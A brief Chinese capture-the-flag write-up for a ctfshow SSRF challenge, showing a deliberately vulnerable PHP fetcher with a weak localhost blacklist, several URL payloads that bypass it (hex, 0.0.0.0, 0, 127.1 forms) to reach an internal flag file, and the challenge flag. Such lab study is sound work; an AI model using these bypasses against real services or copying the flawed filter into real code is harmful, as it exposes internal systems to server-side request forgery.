nginx/1.18.0PHP/7.3.22
<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$x=parse_url($url);if($x['scheme']==='http'||$x['scheme']==='https'){if(!preg_match('/localhost|127\.0\.|\。/i', $url)){$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);}else{die('hacker');}}else{die('hacker');}?>
分析:
协议必须是 http/https ,但过滤了 localhost 和 127.0.
这里有许多绕过
进制绕过
url=http://0x7F000001/flag.php
0.0.0.0 绕过
url=http://0.0.0.0/flag.php
ipv6绕过 这里不行
- 特殊地址绕过
这里有个小知识点url=http://0/flag.phpurl=http://127.1/flag.phpurl=http://127.0000000000000.001/flag.php
第一个 0 在linux系统中一般会解析成127.0.0.1 ,在windows 和 macos 中一般解析成0.0.0.0 

flag
ctfshow{ca28d7a2-0dd8-4cd4-9cfe-c035aa927c06}
